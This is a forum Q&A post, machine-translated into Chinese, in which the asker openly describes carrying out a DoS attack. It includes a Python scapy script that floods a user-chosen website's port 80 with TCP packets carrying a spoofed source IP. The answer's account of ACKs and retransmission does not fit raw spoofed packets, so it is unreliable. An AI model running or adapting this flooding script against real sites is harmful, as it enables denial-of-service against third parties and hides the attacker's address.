如何在进行 DOS 攻击时显示来自 Python 服务器的 TCP 响应数据包

How to show TCP response packets from server in Python while doing DOS attack

from scapy.all import *
import urllib
import urllib.request
import time
import socket

大家好,我正在制作一个程序,将源 ip 和网站地址作为 "whosebug.com" 并发送数据包这没什么大不了的,但我想知道如果我的数据包命中防火墙,我该如何得知或者它被发送到网络服务器这里是代码;

kynak = input("Kaynak IP Adresini Giriniz : ")
url = input("Hedef Websitesini Giriniz  : ")
hdef = socket.gethostbyname(url)
url = "http://www."+ url

这部分用于获取输入并获取输入网站的 ip 地址。

i=1
for srcport in range(1,65535):
    IP1 = IP(src=kynak, dst=hdef)
    TCP1 = TCP(sport=srcport, dport=80)
    pkt = IP1 / TCP1
    send(pkt,inter= .0001)
    print(i,". Paket Gonderildi ")
    i=i+1

所以我需要知道我是否可以了解此数据包是发送到服务器还是被防火墙丢弃。

感谢您的帮助。

由于您使用的是 TCP/IP,因此您发送数据包,您的数据将被数据包目的地的 TCP/IP 堆栈确认。

如果您的数据包未被确认,这将导致您的机器在一段时间后重新传输(TCP/IP 是一种保证数据传输的可靠协议)。如果该重传未再次确认,则如果在严重的连续重传中丢失 ACK,则会启动另一次重传,导致连接重置。

因此,如果您的连接在一段时间后重置或您的传输速率下降,那么另一侧(或途中)的某些东西是不正确的。但是如果您的数据被防火墙拒绝或发生其他事情,您将无法区分...

我强烈建议使用 Wireshark 等工具查看 TCP/IP 协议,并尝试弄清楚发生了什么。